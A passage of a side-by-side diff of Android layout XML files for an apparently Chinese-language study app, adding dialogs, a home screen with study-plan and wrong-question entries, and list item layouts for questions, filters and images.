102 | android:entries="@array/filter_subject" | ||
103 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
104 | android:scrollbars="none" /> | ||
105 | |||
106 | <TextView | ||
107 | android:layout_width="wrap_content" | ||
108 | android:layout_height="wrap_content" | ||
109 | android:layout_centerVertical="true" | ||
110 | android:layout_marginLeft="20dp" | ||
111 | android:layout_marginTop="20dp" | ||
112 | android:text="来源" | ||
113 | android:textColor="@color/text_title" | ||
114 | android:textSize="15sp" | ||
115 | android:textStyle="bold" /> | ||
116 | |||
117 | <RadioGroup | ||
118 | android:id="@+id/type_radio" | ||
119 | android:layout_width="match_parent" | ||
120 | android:layout_height="40dp" | ||
121 | android:layout_marginLeft="20dp" | ||
122 | android:layout_marginTop="10dp" | ||
123 | android:orientation="horizontal"> | ||
124 | |||
125 | <RadioButton | ||
126 | android:layout_width="65dp" | ||
127 | android:layout_height="match_parent" | ||
128 | android:layout_marginRight="20dp" | ||
129 | android:background="@drawable/radio_button_selector" | ||
130 | android:button="@null" | ||
131 | android:gravity="center" | ||
132 | android:text="课内" | ||
133 | android:textColor="@drawable/radio_text_selector" | ||
134 | android:textSize="14sp" /> | ||
135 | |||
136 | <RadioButton | ||
137 | android:layout_width="65dp" | ||
138 | android:layout_height="match_parent" | ||
139 | android:layout_marginRight="20dp" | ||
140 | android:background="@drawable/radio_button_selector" | ||
141 | android:button="@null" | ||
142 | android:gravity="center" | ||
143 | android:text="课外" | ||
144 | android:textColor="@drawable/radio_text_selector" | ||
145 | android:textSize="14sp" /> | ||
146 | </RadioGroup> | ||
147 | |||
148 | |||
149 | <RelativeLayout | ||
150 | android:layout_width="match_parent" | ||
151 | android:layout_height="40dp" | ||
152 | android:layout_marginLeft="20dp" | ||
153 | android:layout_marginTop="20dp" | ||
154 | android:layout_marginRight="20dp" | ||
155 | android:layout_marginBottom="15dp"> | ||
156 | |||
157 | <TextView | ||
158 | android:id="@+id/add_topic" | ||
159 | android:layout_width="250dp" | ||
160 | android:layout_height="match_parent" | ||
161 | android:layout_centerInParent="true" | ||
162 | android:background="@drawable/bg_soild_blue_5" | ||
163 | android:gravity="center" | ||
164 | android:text="确认修改" | ||
165 | android:textColor="@color/white" | ||
166 | android:textSize="17sp" /> | ||
167 | |||
168 | |||
169 | </RelativeLayout> | ||
170 | </LinearLayout> | ||
171 | |||
172 |
app/src/main/res/layout/dialog_tip.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="match_parent"> | ||
4 | |||
5 | <RelativeLayout | ||
6 | android:layout_width="335dp" | ||
7 | android:layout_height="wrap_content" | ||
8 | android:layout_centerInParent="true" | ||
9 | android:background="@drawable/bg_solid_white_10"> | ||
10 | |||
11 | <ImageView | ||
12 | android:id="@+id/iv_tip" | ||
13 | android:layout_width="70dp" | ||
14 | android:layout_height="70dp" | ||
15 | android:layout_centerHorizontal="true" | ||
16 | android:layout_marginTop="5dp" | ||
17 | android:visibility="gone" /> | ||
18 | |||
19 | <TextView | ||
20 | android:id="@+id/tv_title" | ||
21 | android:layout_width="wrap_content" | ||
22 | android:layout_height="wrap_content" | ||
23 | android:layout_below="@+id/iv_tip" | ||
24 | android:layout_centerHorizontal="true" | ||
25 | android:layout_marginLeft="40dp" | ||
26 | android:layout_marginTop="20dp" | ||
27 | android:layout_marginRight="40dp" | ||
28 | android:textColor="#333333" | ||
29 | android:textSize="19sp" | ||
30 | android:textStyle="bold" /> | ||
31 | |||
32 | <TextView | ||
33 | android:id="@+id/tv_content" | ||
34 | android:layout_width="wrap_content" | ||
35 | android:layout_height="wrap_content" | ||
36 | android:layout_below="@+id/tv_title" | ||
37 | android:layout_centerHorizontal="true" | ||
38 | android:layout_marginLeft="40dp" | ||
39 | android:layout_marginTop="15dp" | ||
40 | android:layout_marginRight="40dp" | ||
41 | android:textColor="#333333" | ||
42 | android:textSize="19sp" /> | ||
43 | |||
44 | <LinearLayout | ||
45 | android:layout_width="match_parent" | ||
46 | android:layout_height="50dp" | ||
47 | android:layout_below="@+id/tv_content" | ||
48 | android:layout_marginTop="30dp" | ||
49 | android:orientation="horizontal"> | ||
50 | |||
51 | <TextView | ||
52 | android:id="@+id/tv_cancel" | ||
53 | android:layout_width="0dp" | ||
54 | android:layout_height="match_parent" | ||
55 | android:layout_weight="1" | ||
56 | android:gravity="center" | ||
57 | android:textColor="#999999" /> | ||
58 | |||
59 | <View | ||
60 | android:layout_width="1dp" | ||
61 | android:layout_height="match_parent" | ||
62 | android:background="#EEEEEE" /> | ||
63 | |||
64 | <TextView | ||
65 | android:id="@+id/tv_confirm" | ||
66 | android:layout_width="0dp" | ||
67 | android:layout_height="match_parent" | ||
68 | android:layout_weight="1" | ||
69 | android:gravity="center" | ||
70 | android:textColor="#489AFA" /> | ||
71 | </LinearLayout> | ||
72 | |||
73 | <View | ||
74 | android:layout_width="match_parent" | ||
75 | android:layout_height="1dp" | ||
76 | android:layout_below="@+id/tv_content" | ||
77 | android:layout_marginTop="30dp" | ||
78 | android:background="#EEEEEE" /> | ||
79 | |||
80 | </RelativeLayout> | ||
81 | </RelativeLayout> |
app/src/main/res/layout/fragment_home.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" |
3 | xmlns:app="http://schemas.android.com/apk/res-auto" | 3 | xmlns:app="http://schemas.android.com/apk/res-auto" |
4 | android:layout_width="match_parent" | 4 | android:layout_width="match_parent" |
5 | android:layout_height="match_parent" | 5 | android:layout_height="match_parent" |
6 | android:background="#F4F6F8"> | 6 | android:background="#F4F6F8"> |
7 | 7 | ||
8 | <View | 8 | <View |
9 | android:id="@+id/view_1" | 9 | android:id="@+id/view_1" |
10 | android:layout_width="match_parent" | 10 | android:layout_width="match_parent" |
11 | android:layout_height="44dp" | 11 | android:layout_height="44dp" |
12 | android:background="@android:color/white" | 12 | android:background="@android:color/white" |
13 | app:layout_constraintTop_toTopOf="parent" /> | 13 | app:layout_constraintTop_toTopOf="parent" /> |
14 | 14 | ||
15 | <ImageView | 15 | <ImageView |
16 | android:id="@+id/iv_1" | 16 | android:id="@+id/iv_1" |
17 | android:layout_width="10dp" | 17 | android:layout_width="10dp" |
18 | android:layout_height="16dp" | 18 | android:layout_height="16dp" |
19 | android:layout_marginLeft="15dp" | 19 | android:layout_marginLeft="15dp" |
20 | android:background="@mipmap/icon_back" | 20 | android:background="@mipmap/icon_back" |
21 | app:layout_constraintBottom_toBottomOf="@id/view_1" | 21 | app:layout_constraintBottom_toBottomOf="@id/view_1" |
22 | app:layout_constraintLeft_toLeftOf="parent" | 22 | app:layout_constraintLeft_toLeftOf="parent" |
23 | app:layout_constraintTop_toTopOf="@id/view_1" /> | 23 | app:layout_constraintTop_toTopOf="@id/view_1" /> |
24 | 24 | ||
25 | <ImageView | 25 | <ImageView |
26 | android:id="@+id/iv_2" | 26 | android:id="@+id/iv_2" |
27 | android:layout_width="31dp" | 27 | android:layout_width="31dp" |
28 | android:layout_height="31dp" | 28 | android:layout_height="31dp" |
29 | android:layout_marginLeft="35dp" | 29 | android:layout_marginLeft="35dp" |
30 | android:background="@mipmap/txz" | 30 | android:background="@mipmap/txz" |
31 | app:layout_constraintBottom_toBottomOf="@id/view_1" | 31 | app:layout_constraintBottom_toBottomOf="@id/view_1" |
32 | app:layout_constraintLeft_toLeftOf="parent" | 32 | app:layout_constraintLeft_toLeftOf="parent" |
33 | app:layout_constraintTop_toTopOf="@id/view_1" /> | 33 | app:layout_constraintTop_toTopOf="@id/view_1" /> |
34 | 34 | ||
35 | <TextView | 35 | <TextView |
36 | android:id="@+id/tv_name" | 36 | android:id="@+id/tv_name" |
37 | android:layout_width="wrap_content" | 37 | android:layout_width="wrap_content" |
38 | android:layout_height="wrap_content" | 38 | android:layout_height="wrap_content" |
39 | android:layout_marginLeft="6.5dp" | 39 | android:layout_marginLeft="6.5dp" |
40 | android:textColor="#333333" | 40 | android:textColor="#333333" |
41 | android:textSize="15dp" | 41 | android:textSize="15dp" |
42 | app:layout_constraintBottom_toBottomOf="@id/view_1" | 42 | app:layout_constraintBottom_toBottomOf="@id/view_1" |
43 | app:layout_constraintLeft_toRightOf="@id/iv_2" | 43 | app:layout_constraintLeft_toRightOf="@id/iv_2" |
44 | app:layout_constraintTop_toTopOf="@id/view_1" /> | 44 | app:layout_constraintTop_toTopOf="@id/view_1" /> |
45 | 45 | ||
46 | <ImageView | 46 | <ImageView |
47 | android:id="@+id/iv_3" | 47 | android:id="@+id/iv_3" |
48 | android:layout_width="8dp" | 48 | android:layout_width="8dp" |
49 | android:layout_height="5dp" | 49 | android:layout_height="5dp" |
50 | android:layout_marginLeft="5dp" | 50 | android:layout_marginLeft="5dp" |
51 | android:background="@mipmap/xxan" | 51 | android:background="@mipmap/xxan" |
52 | app:layout_constraintBottom_toBottomOf="@id/view_1" | 52 | app:layout_constraintBottom_toBottomOf="@id/view_1" |
53 | app:layout_constraintLeft_toRightOf="@id/tv_name" | 53 | app:layout_constraintLeft_toRightOf="@id/tv_name" |
54 | app:layout_constraintTop_toTopOf="@id/view_1" /> | 54 | app:layout_constraintTop_toTopOf="@id/view_1" /> |
55 | 55 | ||
56 | <ImageView | 56 | <ImageView |
57 | android:id="@+id/iv_sapmiao" | 57 | android:id="@+id/iv_sapmiao" |
58 | android:layout_width="match_parent" | 58 | android:layout_width="match_parent" |
59 | android:layout_height="167dp" | 59 | android:layout_height="167dp" |
60 | android:layout_marginLeft="15dp" | 60 | android:layout_marginLeft="15dp" |
61 | android:layout_marginTop="60dp" | 61 | android:layout_marginTop="60dp" |
62 | android:layout_marginRight="15dp" | 62 | android:layout_marginRight="15dp" |
63 | android:background="@mipmap/ssss" | 63 | android:background="@mipmap/ssss" |
64 | app:layout_constraintLeft_toLeftOf="parent" | 64 | app:layout_constraintLeft_toLeftOf="parent" |
65 | app:layout_constraintRight_toRightOf="parent" | 65 | app:layout_constraintRight_toRightOf="parent" |
66 | app:layout_constraintTop_toTopOf="parent" /> | 66 | app:layout_constraintTop_toTopOf="parent" /> |
67 | 67 | ||
68 | 68 | ||
69 | <LinearLayout | 69 | <LinearLayout |
70 | android:id="@+id/view_2" | 70 | android:id="@+id/view_2" |
71 | android:layout_width="match_parent" | 71 | android:layout_width="match_parent" |
72 | android:layout_height="100dp" | 72 | android:layout_height="100dp" |
73 | android:layout_marginLeft="15dp" | 73 | android:layout_marginLeft="15dp" |
74 | android:layout_marginTop="240dp" | 74 | android:layout_marginTop="240dp" |
75 | android:layout_marginRight="15dp" | 75 | android:layout_marginRight="15dp" |
76 | android:background="@drawable/bg_solid_white_10" | 76 | android:background="@drawable/bg_solid_white_10" |
77 | android:orientation="horizontal" | 77 | android:orientation="horizontal" |
78 | app:layout_constraintLeft_toLeftOf="parent" | 78 | app:layout_constraintLeft_toLeftOf="parent" |
79 | app:layout_constraintRight_toRightOf="parent" | 79 | app:layout_constraintRight_toRightOf="parent" |
80 | app:layout_constraintTop_toTopOf="parent"> | 80 | app:layout_constraintTop_toTopOf="parent"> |
81 | 81 | ||
82 | <LinearLayout | 82 | <LinearLayout |
83 | android:layout_width="0dp" | 83 | android:layout_width="0dp" |
84 | android:layout_height="wrap_content" | 84 | android:layout_height="wrap_content" |
85 | android:layout_weight="1" | 85 | android:layout_weight="1" |
86 | android:orientation="vertical"> | 86 | android:orientation="vertical"> |
87 | 87 | ||
88 | <ImageView | 88 | <ImageView |
89 | android:id="@+id/iv_21" | 89 | android:id="@+id/iv_21" |
90 | android:layout_width="50dp" | 90 | android:layout_width="50dp" |
91 | android:layout_height="50dp" | 91 | android:layout_height="50dp" |
92 | android:layout_gravity="center_horizontal" | 92 | android:layout_gravity="center_horizontal" |
93 | android:layout_marginTop="15dp" | 93 | android:layout_marginTop="15dp" |
94 | android:background="@mipmap/yyxz" /> | 94 | android:background="@mipmap/yyxz" /> |
95 | 95 | ||
96 | <TextView | 96 | <TextView |
97 | android:layout_width="wrap_content" | 97 | android:layout_width="wrap_content" |
98 | android:layout_height="wrap_content" | 98 | android:layout_height="wrap_content" |
99 | android:layout_gravity="center_horizontal" | 99 | android:layout_gravity="center_horizontal" |
100 | android:layout_marginTop="8dp" | 100 | android:layout_marginTop="8dp" |
101 | android:text="应用管理" | 101 | android:text="应用管理" |
102 | android:textColor="#333333" | 102 | android:textColor="#333333" |
103 | android:textSize="13dp" | 103 | android:textSize="13dp" |
104 | app:layout_constraintLeft_toLeftOf="@id/iv_21" | 104 | app:layout_constraintLeft_toLeftOf="@id/iv_21" |
105 | app:layout_constraintRight_toRightOf="@id/iv_21" | 105 | app:layout_constraintRight_toRightOf="@id/iv_21" |
106 | app:layout_constraintTop_toBottomOf="@id/iv_21" /> | 106 | app:layout_constraintTop_toBottomOf="@id/iv_21" /> |
107 | </LinearLayout> | 107 | </LinearLayout> |
108 | 108 | ||
109 | <LinearLayout | 109 | <LinearLayout |
110 | android:layout_width="0dp" | 110 | android:layout_width="0dp" |
111 | android:id="@+id/ll_error" | ||
111 | android:layout_height="wrap_content" | 112 | android:layout_height="wrap_content" |
112 | android:layout_weight="1" | 113 | android:layout_weight="1" |
113 | android:orientation="vertical"> | 114 | android:orientation="vertical"> |
114 | 115 | ||
115 | <ImageView | 116 | <ImageView |
116 | android:id="@+id/iv_22" | 117 | android:id="@+id/iv_22" |
117 | android:layout_width="50dp" | 118 | android:layout_width="50dp" |
118 | android:layout_height="50dp" | 119 | android:layout_height="50dp" |
119 | android:layout_gravity="center_horizontal" | 120 | android:layout_gravity="center_horizontal" |
120 | android:layout_marginTop="15dp" | 121 | android:layout_marginTop="15dp" |
121 | android:background="@mipmap/xxxt" | 122 | android:background="@mipmap/xxxt" |
122 | app:layout_constraintLeft_toLeftOf="@id/view_2" | 123 | app:layout_constraintLeft_toLeftOf="@id/view_2" |
123 | app:layout_constraintTop_toTopOf="@id/view_2" /> | 124 | app:layout_constraintTop_toTopOf="@id/view_2" /> |
124 | 125 | ||
125 | <TextView | 126 | <TextView |
126 | android:layout_width="wrap_content" | 127 | android:layout_width="wrap_content" |
127 | android:layout_height="wrap_content" | 128 | android:layout_height="wrap_content" |
128 | android:layout_gravity="center_horizontal" | 129 | android:layout_gravity="center_horizontal" |
129 | android:layout_marginTop="8dp" | 130 | android:layout_marginTop="8dp" |
130 | android:text="小星错题" | 131 | android:text="小星错题" |
131 | android:textColor="#333333" | 132 | android:textColor="#333333" |
132 | android:textSize="13dp" | 133 | android:textSize="13dp" |
133 | app:layout_constraintLeft_toLeftOf="@id/iv_22" | 134 | app:layout_constraintLeft_toLeftOf="@id/iv_22" |
134 | app:layout_constraintRight_toRightOf="@id/iv_22" | 135 | app:layout_constraintRight_toRightOf="@id/iv_22" |
135 | app:layout_constraintTop_toBottomOf="@id/iv_22" /> | 136 | app:layout_constraintTop_toBottomOf="@id/iv_22" /> |
136 | </LinearLayout> | 137 | </LinearLayout> |
137 | 138 | ||
138 | <LinearLayout | 139 | <LinearLayout |
139 | android:layout_width="0dp" | 140 | android:layout_width="0dp" |
140 | android:layout_height="wrap_content" | 141 | android:layout_height="wrap_content" |
141 | android:layout_weight="1" | 142 | android:layout_weight="1" |
142 | android:orientation="vertical"> | 143 | android:orientation="vertical"> |
143 | 144 | ||
144 | <ImageView | 145 | <ImageView |
145 | android:id="@+id/iv_23" | 146 | android:id="@+id/iv_23" |
146 | android:layout_width="50dp" | 147 | android:layout_width="50dp" |
147 | android:layout_height="50dp" | 148 | android:layout_height="50dp" |
148 | android:layout_gravity="center_horizontal" | 149 | android:layout_gravity="center_horizontal" |
149 | android:layout_marginTop="15dp" | 150 | android:layout_marginTop="15dp" |
150 | android:background="@mipmap/ffsj" | 151 | android:background="@mipmap/ffsj" |
151 | app:layout_constraintLeft_toLeftOf="@id/view_2" | 152 | app:layout_constraintLeft_toLeftOf="@id/view_2" |
152 | app:layout_constraintTop_toTopOf="@id/view_2" /> | 153 | app:layout_constraintTop_toTopOf="@id/view_2" /> |
153 | 154 | ||
154 | <TextView | 155 | <TextView |
155 | android:layout_width="wrap_content" | 156 | android:layout_width="wrap_content" |
156 | android:layout_height="wrap_content" | 157 | android:layout_height="wrap_content" |
157 | android:layout_gravity="center_horizontal" | 158 | android:layout_gravity="center_horizontal" |
158 | android:layout_marginTop="8dp" | 159 | android:layout_marginTop="8dp" |
159 | android:text="分发试卷" | 160 | android:text="分发试卷" |
160 | android:textColor="#333333" | 161 | android:textColor="#333333" |
161 | android:textSize="13dp" | 162 | android:textSize="13dp" |
162 | app:layout_constraintLeft_toLeftOf="@id/iv_23" | 163 | app:layout_constraintLeft_toLeftOf="@id/iv_23" |
163 | app:layout_constraintRight_toRightOf="@id/iv_23" | 164 | app:layout_constraintRight_toRightOf="@id/iv_23" |
164 | app:layout_constraintTop_toBottomOf="@id/iv_23" /> | 165 | app:layout_constraintTop_toBottomOf="@id/iv_23" /> |
165 | </LinearLayout> | 166 | </LinearLayout> |
166 | 167 | ||
167 | <LinearLayout | 168 | <LinearLayout |
168 | android:layout_width="0dp" | 169 | android:layout_width="0dp" |
169 | android:layout_height="wrap_content" | 170 | android:layout_height="wrap_content" |
170 | android:layout_weight="1" | 171 | android:layout_weight="1" |
171 | android:orientation="vertical"> | 172 | android:orientation="vertical"> |
172 | 173 | ||
173 | <ImageView | 174 | <ImageView |
174 | android:id="@+id/iv_24" | 175 | android:id="@+id/iv_24" |
175 | android:layout_width="50dp" | 176 | android:layout_width="50dp" |
176 | android:layout_height="50dp" | 177 | android:layout_height="50dp" |
177 | android:layout_gravity="center_horizontal" | 178 | android:layout_gravity="center_horizontal" |
178 | android:layout_marginTop="15dp" | 179 | android:layout_marginTop="15dp" |
179 | android:background="@mipmap/sbgl" | 180 | android:background="@mipmap/sbgl" |
180 | app:layout_constraintLeft_toLeftOf="@id/view_2" | 181 | app:layout_constraintLeft_toLeftOf="@id/view_2" |
181 | app:layout_constraintTop_toTopOf="@id/view_2" /> | 182 | app:layout_constraintTop_toTopOf="@id/view_2" /> |
182 | 183 | ||
183 | <TextView | 184 | <TextView |
184 | android:layout_width="wrap_content" | 185 | android:layout_width="wrap_content" |
185 | android:layout_height="wrap_content" | 186 | android:layout_height="wrap_content" |
186 | android:layout_gravity="center_horizontal" | 187 | android:layout_gravity="center_horizontal" |
187 | android:layout_marginTop="8dp" | 188 | android:layout_marginTop="8dp" |
188 | android:text="设备管理" | 189 | android:text="设备管理" |
189 | android:textColor="#333333" | 190 | android:textColor="#333333" |
190 | android:textSize="13dp" | 191 | android:textSize="13dp" |
191 | app:layout_constraintLeft_toLeftOf="@id/iv_24" | 192 | app:layout_constraintLeft_toLeftOf="@id/iv_24" |
192 | app:layout_constraintRight_toRightOf="@id/iv_24" | 193 | app:layout_constraintRight_toRightOf="@id/iv_24" |
193 | app:layout_constraintTop_toBottomOf="@id/iv_24" /> | 194 | app:layout_constraintTop_toBottomOf="@id/iv_24" /> |
194 | </LinearLayout> | 195 | </LinearLayout> |
195 | </LinearLayout> | 196 | </LinearLayout> |
196 | 197 | ||
197 | <RelativeLayout | 198 | <RelativeLayout |
198 | android:id="@+id/view_3" | 199 | android:id="@+id/view_3" |
199 | android:layout_width="match_parent" | 200 | android:layout_width="match_parent" |
200 | android:layout_height="match_parent" | 201 | android:layout_height="match_parent" |
201 | android:layout_marginLeft="15dp" | 202 | android:layout_marginLeft="15dp" |
202 | android:layout_marginTop="357dp" | 203 | android:layout_marginTop="357dp" |
203 | android:layout_marginRight="15dp" | 204 | android:layout_marginRight="15dp" |
204 | android:layout_marginBottom="20dp" | 205 | android:layout_marginBottom="20dp" |
205 | android:background="@drawable/bg_solid_white_10" | 206 | android:background="@drawable/bg_solid_white_10" |
206 | android:orientation="vertical" | 207 | android:orientation="vertical" |
207 | app:layout_constraintLeft_toLeftOf="parent" | 208 | app:layout_constraintLeft_toLeftOf="parent" |
208 | app:layout_constraintRight_toRightOf="parent" | 209 | app:layout_constraintRight_toRightOf="parent" |
209 | app:layout_constraintTop_toTopOf="parent"> | 210 | app:layout_constraintTop_toTopOf="parent"> |
210 | 211 | ||
211 | <RelativeLayout | 212 | <RelativeLayout |
212 | android:id="@+id/rl_schedule" | 213 | android:id="@+id/rl_schedule" |
213 | android:layout_width="match_parent" | 214 | android:layout_width="match_parent" |
214 | android:layout_height="wrap_content" | 215 | android:layout_height="wrap_content" |
215 | android:layout_marginTop="15dp" | 216 | android:layout_marginTop="15dp" |
216 | android:layout_marginRight="10dp"> | 217 | android:layout_marginRight="10dp"> |
217 | 218 | ||
218 | <TextView | 219 | <TextView |
219 | android:id="@+id/tv_31" | 220 | android:id="@+id/tv_31" |
220 | android:layout_width="wrap_content" | 221 | android:layout_width="wrap_content" |
221 | android:layout_height="wrap_content" | 222 | android:layout_height="wrap_content" |
222 | android:layout_centerHorizontal="true" | 223 | android:layout_centerHorizontal="true" |
223 | android:text="本周学习计划" | 224 | android:text="本周学习计划" |
224 | android:textColor="#333333" | 225 | android:textColor="#333333" |
225 | android:textSize="15dp" /> | 226 | android:textSize="15dp" /> |
226 | 227 | ||
227 | 228 | ||
228 | <View | 229 | <View |
229 | android:layout_width="25dp" | 230 | android:layout_width="25dp" |
230 | android:layout_height="1dp" | 231 | android:layout_height="1dp" |
231 | android:layout_centerVertical="true" | 232 | android:layout_centerVertical="true" |
232 | android:layout_marginRight="10dp" | 233 | android:layout_marginRight="10dp" |
233 | android:layout_toLeftOf="@+id/tv_31" | 234 | android:layout_toLeftOf="@+id/tv_31" |
234 | android:background="#EEEEEE" /> | 235 | android:background="#EEEEEE" /> |
235 | 236 | ||
236 | <View | 237 | <View |
237 | android:layout_width="25dp" | 238 | android:layout_width="25dp" |
238 | android:layout_height="1dp" | 239 | android:layout_height="1dp" |
239 | android:layout_centerVertical="true" | 240 | android:layout_centerVertical="true" |
240 | android:layout_marginLeft="10dp" | 241 | android:layout_marginLeft="10dp" |
241 | android:layout_toRightOf="@+id/tv_31" | 242 | android:layout_toRightOf="@+id/tv_31" |
242 | android:background="#EEEEEE" /> | 243 | android:background="#EEEEEE" /> |
243 | </RelativeLayout> | 244 | </RelativeLayout> |
244 | 245 | ||
245 | 246 | ||
246 | <ImageView | 247 | <ImageView |
247 | android:id="@+id/iv_empty" | 248 | android:id="@+id/iv_empty" |
248 | android:layout_width="103dp" | 249 | android:layout_width="103dp" |
249 | android:layout_height="66dp" | 250 | android:layout_height="66dp" |
250 | android:layout_below="@+id/rl_schedule" | 251 | android:layout_below="@+id/rl_schedule" |
251 | android:layout_centerHorizontal="true" | 252 | android:layout_centerHorizontal="true" |
252 | android:layout_gravity="center_horizontal" | 253 | android:layout_gravity="center_horizontal" |
253 | android:layout_marginTop="48dp" | 254 | android:layout_marginTop="48dp" |
254 | android:background="@mipmap/zwjh" /> | 255 | android:background="@mipmap/zwjh" /> |
255 | 256 | ||
256 | <TextView | 257 | <TextView |
257 | android:id="@+id/tv_empty" | 258 | android:id="@+id/tv_empty" |
258 | android:layout_width="wrap_content" | 259 | android:layout_width="wrap_content" |
259 | android:layout_height="wrap_content" | 260 | android:layout_height="wrap_content" |
260 | android:layout_below="@+id/iv_empty" | 261 | android:layout_below="@+id/iv_empty" |
261 | android:layout_centerHorizontal="true" | 262 | android:layout_centerHorizontal="true" |
262 | android:layout_gravity="center_horizontal" | 263 | android:layout_gravity="center_horizontal" |
263 | android:layout_marginTop="18dp" | 264 | android:layout_marginTop="18dp" |
264 | android:text="暂无学习计划" | 265 | android:text="暂无学习计划" |
265 | android:textColor="#666666" | 266 | android:textColor="#666666" |
266 | android:textSize="12dp" /> | 267 | android:textSize="12dp" /> |
267 | 268 | ||
268 | <androidx.recyclerview.widget.RecyclerView | 269 | <androidx.recyclerview.widget.RecyclerView |
269 | android:id="@+id/recycle" | 270 | android:id="@+id/recycle" |
270 | android:layout_width="match_parent" | 271 | android:layout_width="match_parent" |
271 | android:layout_height="match_parent" | 272 | android:layout_height="match_parent" |
272 | android:layout_below="@+id/rl_schedule" /> | 273 | android:layout_below="@+id/rl_schedule" /> |
273 | </RelativeLayout> | 274 | </RelativeLayout> |
274 | 275 | ||
275 | 276 | ||
276 | </androidx.constraintlayout.widget.ConstraintLayout> | 277 | </androidx.constraintlayout.widget.ConstraintLayout> |
app/src/main/res/layout/item_error.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:tools="http://schemas.android.com/tools" | ||
3 | android:layout_width="match_parent" | ||
4 | android:layout_height="wrap_content" | ||
5 | android:orientation="vertical"> | ||
6 | |||
7 | <TextView | ||
8 | android:id="@+id/tv_time" | ||
9 | android:layout_width="wrap_content" | ||
10 | android:layout_height="wrap_content" | ||
11 | android:layout_marginLeft="15dp" | ||
12 | android:layout_marginBottom="15dp" | ||
13 | android:textColor="#999999" | ||
14 | android:textSize="14sp" /> | ||
15 | |||
16 | <LinearLayout | ||
17 | android:layout_width="match_parent" | ||
18 | android:layout_height="wrap_content" | ||
19 | android:layout_marginLeft="15dp" | ||
20 | android:layout_marginRight="15dp" | ||
21 | android:layout_marginBottom="15dp" | ||
22 | android:background="@drawable/bg_item_video_10" | ||
23 | android:orientation="vertical" | ||
24 | android:paddingBottom="15dp"> | ||
25 | |||
26 | <RelativeLayout | ||
27 | android:layout_width="wrap_content" | ||
28 | android:layout_height="wrap_content" | ||
29 | android:layout_marginLeft="15dp" | ||
30 | android:layout_marginTop="15dp" | ||
31 | android:layout_marginRight="15dp"> | ||
32 | |||
33 | <ImageView | ||
34 | android:id="@+id/iv_check" | ||
35 | android:layout_width="20dp" | ||
36 | android:layout_height="20dp" | ||
37 | android:layout_centerVertical="true" | ||
38 | android:layout_marginRight="5dp" | ||
39 | android:src="@mipmap/ic_unselect" /> | ||
40 | |||
41 | <TextView | ||
42 | android:id="@+id/tv_reason" | ||
43 | android:layout_width="wrap_content" | ||
44 | android:layout_height="wrap_content" | ||
45 | android:layout_centerVertical="true" | ||
46 | android:layout_toRightOf="@+id/iv_check" | ||
47 | android:textColor="#333333" | ||
48 | android:textSize="14sp" /> | ||
49 | |||
50 | <TextView | ||
51 | android:id="@+id/tv_type" | ||
52 | android:layout_width="50dp" | ||
53 | android:layout_height="20dp" | ||
54 | android:layout_alignParentRight="true" | ||
55 | android:layout_centerVertical="true" | ||
56 | android:layout_marginRight="15dp" | ||
57 | android:background="@drawable/bg_undo_text" | ||
58 | android:gravity="center" | ||
59 | android:text="@string/text_undo" | ||
60 | android:textColor="@color/white" | ||
61 | android:textSize="12sp" /> | ||
62 | </RelativeLayout> | ||
63 | |||
64 | <WebView | ||
65 | android:id="@+id/webview" | ||
66 | android:layout_width="match_parent" | ||
67 | android:layout_height="wrap_content" | ||
68 | android:layout_marginLeft="15dp" | ||
69 | android:layout_marginTop="10dp" | ||
70 | android:layout_marginRight="15dp" | ||
71 | android:scrollbars="none" | ||
72 | tools:ignore="WebViewLayout" /> | ||
73 | |||
74 | <ImageView | ||
75 | android:id="@+id/iv_topic" | ||
76 | android:layout_width="match_parent" | ||
77 | android:layout_height="wrap_content" | ||
78 | android:layout_marginLeft="15dp" | ||
79 | android:layout_marginTop="15dp" | ||
80 | android:layout_marginRight="15dp" | ||
81 | android:layout_marginBottom="15dp" /> | ||
82 | |||
83 | <TextView | ||
84 | android:id="@+id/tv_point" | ||
85 | android:layout_width="match_parent" | ||
86 | android:layout_height="25dp" | ||
87 | android:layout_marginLeft="15dp" | ||
88 | android:layout_marginRight="15dp" | ||
89 | android:background="@drawable/bg_soild_blue_5" | ||
90 | android:ellipsize="end" | ||
91 | android:gravity="center_vertical" | ||
92 | android:paddingLeft="15dp" | ||
93 | android:paddingRight="15dp" | ||
94 | android:singleLine="true" | ||
95 | android:textColor="@color/white" | ||
96 | android:textSize="12sp" /> | ||
97 | </LinearLayout> | ||
98 | </LinearLayout> |
app/src/main/res/layout/item_filter_text.xml
File was created | 1 | <TextView xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:id="@+id/tv_filter" | ||
3 | android:layout_width="match_parent" | ||
4 | android:layout_height="30dp" | ||
5 | android:layout_marginRight="15dp" | ||
6 | android:layout_marginBottom="15dp" | ||
7 | android:background="@drawable/bg_solid_btn_grad" | ||
8 | android:gravity="center" | ||
9 | android:singleLine="true" | ||
10 | android:textColor="@color/text_title" | ||
11 | android:textSize="14sp" /> |
app/src/main/res/layout/item_for_custom_spinner.xml
File was created | 1 | <TextView xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:id="@+id/tv_spinner" | ||
3 | android:layout_width="match_parent" | ||
4 | android:layout_height="30dp" | ||
5 | android:ellipsize="marquee" | ||
6 | android:gravity="center_vertical" | ||
7 | android:paddingLeft="15dp" | ||
8 | android:singleLine="true" | ||
9 | android:textColor="@color/text_title" | ||
10 | android:textSize="14sp" /> | ||
11 | |||
12 |
app/src/main/res/layout/item_image.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="match_parent"> | ||
4 | |||
5 | <RelativeLayout | ||
6 | android:layout_width="match_parent" | ||
7 | android:layout_height="match_parent" | ||
8 | android:layout_margin="15dp" | ||
9 | android:background="@drawable/bg_solid_white_10"> | ||
10 | |||
11 | <ImageView | ||
12 | android:id="@+id/iv_pic" | ||
13 | android:layout_width="wrap_content" | ||
14 | android:layout_height="wrap_content" | ||
15 | android:layout_centerInParent="true" /> | ||
16 | |||
17 | <RelativeLayout | ||
